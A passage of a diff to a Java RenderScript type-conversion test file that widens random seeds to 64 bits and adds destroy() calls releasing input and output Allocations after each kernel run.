             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar4Float4Char4(inV, out);
             verifyResultsConvertFloat4Char4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar4Float4Char4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat4Char4(Allocation inV, Allocation out, boolean relaxed) {
@@ -1736,11 +1815,12 @@
     }
 
     private void checkConvertChar2Char2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 2, 0xd5086da2l, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 2, 0xd8618777d5086da2l, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             script.forEach_testConvertChar2Char2Char2(inV, out);
             verifyResultsConvertChar2Char2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar2Char2Char2: " + e.toString());
         }
@@ -1748,9 +1828,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar2Char2Char2(inV, out);
             verifyResultsConvertChar2Char2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar2Char2Char2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar2Char2(Allocation inV, Allocation out, boolean relaxed) {
@@ -1804,11 +1886,12 @@
     }
 
     private void checkConvertChar3Char3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x34103296l, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 3, 0xd861921934103296l, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             script.forEach_testConvertChar3Char3Char3(inV, out);
             verifyResultsConvertChar3Char3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar3Char3Char3: " + e.toString());
         }
@@ -1816,9 +1899,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar3Char3Char3(inV, out);
             verifyResultsConvertChar3Char3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar3Char3Char3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar3Char3(Allocation inV, Allocation out, boolean relaxed) {
@@ -1872,11 +1957,12 @@
     }
 
     private void checkConvertChar4Char4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 4, 0x9317f78al, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 4, 0xd8619cba9317f78al, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             script.forEach_testConvertChar4Char4Char4(inV, out);
             verifyResultsConvertChar4Char4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar4Char4Char4: " + e.toString());
         }
@@ -1884,9 +1970,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar4Char4Char4(inV, out);
             verifyResultsConvertChar4Char4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar4Char4Char4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar4Char4(Allocation inV, Allocation out, boolean relaxed) {
@@ -1945,11 +2033,12 @@
     }
 
     private void checkConvertUchar2Char2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0x678a7a23l, false, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0x7fef40c5678a7a23l, false, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             script.forEach_testConvertChar2Uchar2Char2(inV, out);
             verifyResultsConvertUchar2Char2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar2Uchar2Char2: " + e.toString());
         }
@@ -1957,9 +2046,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar2Uchar2Char2(inV, out);
             verifyResultsConvertUchar2Char2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar2Uchar2Char2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar2Char2(Allocation inV, Allocation out, boolean relaxed) {
@@ -2013,11 +2104,12 @@
     }
 
     private void checkConvertUchar3Char3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0xc6923f17l, false, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x7fef4b66c6923f17l, false, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             script.forEach_testConvertChar3Uchar3Char3(inV, out);
             verifyResultsConvertUchar3Char3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar3Uchar3Char3: " + e.toString());
         }
@@ -2025,9 +2117,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar3Uchar3Char3(inV, out);
             verifyResultsConvertUchar3Char3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar3Uchar3Char3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar3Char3(Allocation inV, Allocation out, boolean relaxed) {
@@ -2081,11 +2175,12 @@
     }
 
     private void checkConvertUchar4Char4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x259a040bl, false, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x7fef5608259a040bl, false, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             script.forEach_testConvertChar4Uchar4Char4(inV, out);
             verifyResultsConvertUchar4Char4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar4Uchar4Char4: " + e.toString());
         }
@@ -2093,9 +2188,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar4Uchar4Char4(inV, out);
             verifyResultsConvertUchar4Char4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar4Uchar4Char4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar4Char4(Allocation inV, Allocation out, boolean relaxed) {
@@ -2154,11 +2251,12 @@
     }
 
     private void checkConvertShort2Char2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x15c60866l, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x68ab650215c60866l, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             script.forEach_testConvertChar2Short2Char2(inV, out);
             verifyResultsConvertShort2Char2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar2Short2Char2: " + e.toString());
         }
@@ -2166,9 +2264,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar2Short2Char2(inV, out);
             verifyResultsConvertShort2Char2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar2Short2Char2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort2Char2(Allocation inV, Allocation out, boolean relaxed) {
@@ -2222,11 +2322,12 @@
     }
 
     private void checkConvertShort3Char3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x74cdcd5al, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x68ab6fa374cdcd5al, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             script.forEach_testConvertChar3Short3Char3(inV, out);
             verifyResultsConvertShort3Char3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar3Short3Char3: " + e.toString());
         }
@@ -2234,9 +2335,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar3Short3Char3(inV, out);
             verifyResultsConvertShort3Char3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar3Short3Char3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort3Char3(Allocation inV, Allocation out, boolean relaxed) {
@@ -2290,11 +2393,12 @@
     }
 
     private void checkConvertShort4Char4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 4, 0xd3d5924el, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x68ab7a44d3d5924el, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             script.forEach_testConvertChar4Short4Char4(inV, out);
             verifyResultsConvertShort4Char4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar4Short4Char4: " + e.toString());
         }
@@ -2302,9 +2406,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar4Short4Char4(inV, out);
             verifyResultsConvertShort4Char4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar4Short4Char4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort4Char4(Allocation inV, Allocation out, boolean relaxed) {
@@ -2363,11 +2469,12 @@
     }
 
     private void checkConvertUshort2Char2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0xb19e2211l, false, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0x8d798509b19e2211l, false, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             script.forEach_testConvertChar2Ushort2Char2(inV, out);
             verifyResultsConvertUshort2Char2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar2Ushort2Char2: " + e.toString());
         }
@@ -2375,9 +2482,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar2Ushort2Char2(inV, out);
             verifyResultsConvertUshort2Char2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar2Ushort2Char2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort2Char2(Allocation inV, Allocation out, boolean relaxed) {
@@ -2431,11 +2540,12 @@
     }
 
     private void checkConvertUshort3Char3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0x10a5e705l, false, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0x8d798fab10a5e705l, false, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             script.forEach_testConvertChar3Ushort3Char3(inV, out);
             verifyResultsConvertUshort3Char3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar3Ushort3Char3: " + e.toString());
         }
@@ -2443,9 +2553,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar3Ushort3Char3(inV, out);
             verifyResultsConvertUshort3Char3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar3Ushort3Char3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort3Char3(Allocation inV, Allocation out, boolean relaxed) {
@@ -2499,11 +2611,12 @@
     }
 
     private void checkConvertUshort4Char4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0x6fadabf9l, false, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0x8d799a4c6fadabf9l, false, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             script.forEach_testConvertChar4Ushort4Char4(inV, out);
             verifyResultsConvertUshort4Char4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar4Ushort4Char4: " + e.toString());
         }
@@ -2511,9 +2624,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar4Ushort4Char4(inV, out);
             verifyResultsConvertUshort4Char4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar4Ushort4Char4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort4Char4(Allocation inV, Allocation out, boolean relaxed) {
@@ -2572,11 +2687,12 @@
     }
 
     private void checkConvertInt2Char2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x364256dfl, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 2, 0xd74f5147364256dfl, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             script.forEach_testConvertChar2Int2Char2(inV, out);
             verifyResultsConvertInt2Char2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar2Int2Char2: " + e.toString());
         }
@@ -2584,9 +2700,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar2Int2Char2(inV, out);
             verifyResultsConvertInt2Char2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar2Int2Char2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt2Char2(Allocation inV, Allocation out, boolean relaxed) {
@@ -2640,11 +2758,12 @@
     }
 
     private void checkConvertInt3Char3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x954a1bd3l, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 3, 0xd74f5be8954a1bd3l, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             script.forEach_testConvertChar3Int3Char3(inV, out);
             verifyResultsConvertInt3Char3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar3Int3Char3: " + e.toString());
         }
@@ -2652,9 +2771,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar3Int3Char3(inV, out);
             verifyResultsConvertInt3Char3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar3Int3Char3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt3Char3(Allocation inV, Allocation out, boolean relaxed) {
@@ -2708,11 +2829,12 @@
     }
 
     private void checkConvertInt4Char4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 4, 0xf451e0c7l, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 4, 0xd74f6689f451e0c7l, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             script.forEach_testConvertChar4Int4Char4(inV, out);
             verifyResultsConvertInt4Char4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar4Int4Char4: " + e.toString());
         }
@@ -2720,9 +2842,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar4Int4Char4(inV, out);
             verifyResultsConvertInt4Char4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar4Int4Char4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt4Char4(Allocation inV, Allocation out, boolean relaxed) {
@@ -2781,11 +2905,12 @@
     }
 
     private void checkConvertUint2Char2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0x33b67ae2l, false, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0xe71d083133b67ae2l, false, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             script.forEach_testConvertChar2Uint2Char2(inV, out);
             verifyResultsConvertUint2Char2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar2Uint2Char2: " + e.toString());
         }
@@ -2793,9 +2918,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar2Uint2Char2(inV, out);
             verifyResultsConvertUint2Char2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar2Uint2Char2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint2Char2(Allocation inV, Allocation out, boolean relaxed) {
@@ -2849,11 +2976,12 @@
     }
 
     private void checkConvertUint3Char3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0x92be3fd6l, false, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0xe71d12d292be3fd6l, false, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             script.forEach_testConvertChar3Uint3Char3(inV, out);
             verifyResultsConvertUint3Char3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar3Uint3Char3: " + e.toString());
         }
@@ -2861,9 +2989,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar3Uint3Char3(inV, out);
             verifyResultsConvertUint3Char3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar3Uint3Char3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint3Char3(Allocation inV, Allocation out, boolean relaxed) {
@@ -2917,11 +3047,12 @@
     }
 
     private void checkConvertUint4Char4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0xf1c604cal, false, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0xe71d1d73f1c604cal, false, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             script.forEach_testConvertChar4Uint4Char4(inV, out);
             verifyResultsConvertUint4Char4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar4Uint4Char4: " + e.toString());
         }
@@ -2929,9 +3060,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar4Uint4Char4(inV, out);
             verifyResultsConvertUint4Char4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar4Uint4Char4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint4Char4(Allocation inV, Allocation out, boolean relaxed) {
@@ -2990,11 +3123,12 @@
     }
 
     private void checkConvertFloat2Uchar2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xfac15b79l, 0.0000000000000000000e+00, 2.5500000000000000000e+02);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xfb52b2f4fac15b79l, 0.0000000000000000000e+00, 2.5500000000000000000e+02);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             script.forEach_testConvertUchar2Float2Uchar2(inV, out);
             verifyResultsConvertFloat2Uchar2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar2Float2Uchar2: " + e.toString());
         }
@@ -3002,9 +3136,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar2Float2Uchar2(inV, out);
             verifyResultsConvertFloat2Uchar2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar2Float2Uchar2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat2Uchar2(Allocation inV, Allocation out, boolean relaxed) {
@@ -3058,11 +3194,12 @@
     }
 
     private void checkConvertFloat3Uchar3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xf0dc7c57l, 0.0000000000000000000e+00, 2.5500000000000000000e+02);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xfb547c0ff0dc7c57l, 0.0000000000000000000e+00, 2.5500000000000000000e+02);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             script.forEach_testConvertUchar3Float3Uchar3(inV, out);
             verifyResultsConvertFloat3Uchar3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar3Float3Uchar3: " + e.toString());
         }
@@ -3070,9 +3207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar3Float3Uchar3(inV, out);
             verifyResultsConvertFloat3Uchar3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar3Float3Uchar3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat3Uchar3(Allocation inV, Allocation out, boolean relaxed) {
@@ -3126,11 +3265,12 @@
     }
 
     private void checkConvertFloat4Uchar4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xe6f79d35l, 0.0000000000000000000e+00, 2.5500000000000000000e+02);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xfb56452ae6f79d35l, 0.0000000000000000000e+00, 2.5500000000000000000e+02);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             script.forEach_testConvertUchar4Float4Uchar4(inV, out);
             verifyResultsConvertFloat4Uchar4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar4Float4Uchar4: " + e.toString());
         }
@@ -3138,9 +3278,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar4Float4Uchar4(inV, out);
             verifyResultsConvertFloat4Uchar4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar4Float4Uchar4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat4Uchar4(Allocation inV, Allocation out, boolean relaxed) {
@@ -3199,11 +3341,12 @@
     }
 
     private void checkConvertChar2Uchar2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 2, 0xcbea8339l, false, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 2, 0x58627f46cbea8339l, false, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             script.forEach_testConvertUchar2Char2Uchar2(inV, out);
             verifyResultsConvertChar2Uchar2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar2Char2Uchar2: " + e.toString());
         }
@@ -3211,9 +3354,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar2Char2Uchar2(inV, out);
             verifyResultsConvertChar2Uchar2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar2Char2Uchar2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar2Uchar2(Allocation inV, Allocation out, boolean relaxed) {
@@ -3267,11 +3412,12 @@
     }
 
     private void checkConvertChar3Uchar3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 3, 0xc205a417l, false, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x58644861c205a417l, false, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             script.forEach_testConvertUchar3Char3Uchar3(inV, out);
             verifyResultsConvertChar3Uchar3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar3Char3Uchar3: " + e.toString());
         }
@@ -3279,9 +3425,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar3Char3Uchar3(inV, out);
             verifyResultsConvertChar3Uchar3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar3Char3Uchar3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar3Uchar3(Allocation inV, Allocation out, boolean relaxed) {
@@ -3335,11 +3483,12 @@
     }
 
     private void checkConvertChar4Uchar4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 4, 0xb820c4f5l, false, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 4, 0x5866117cb820c4f5l, false, 7);
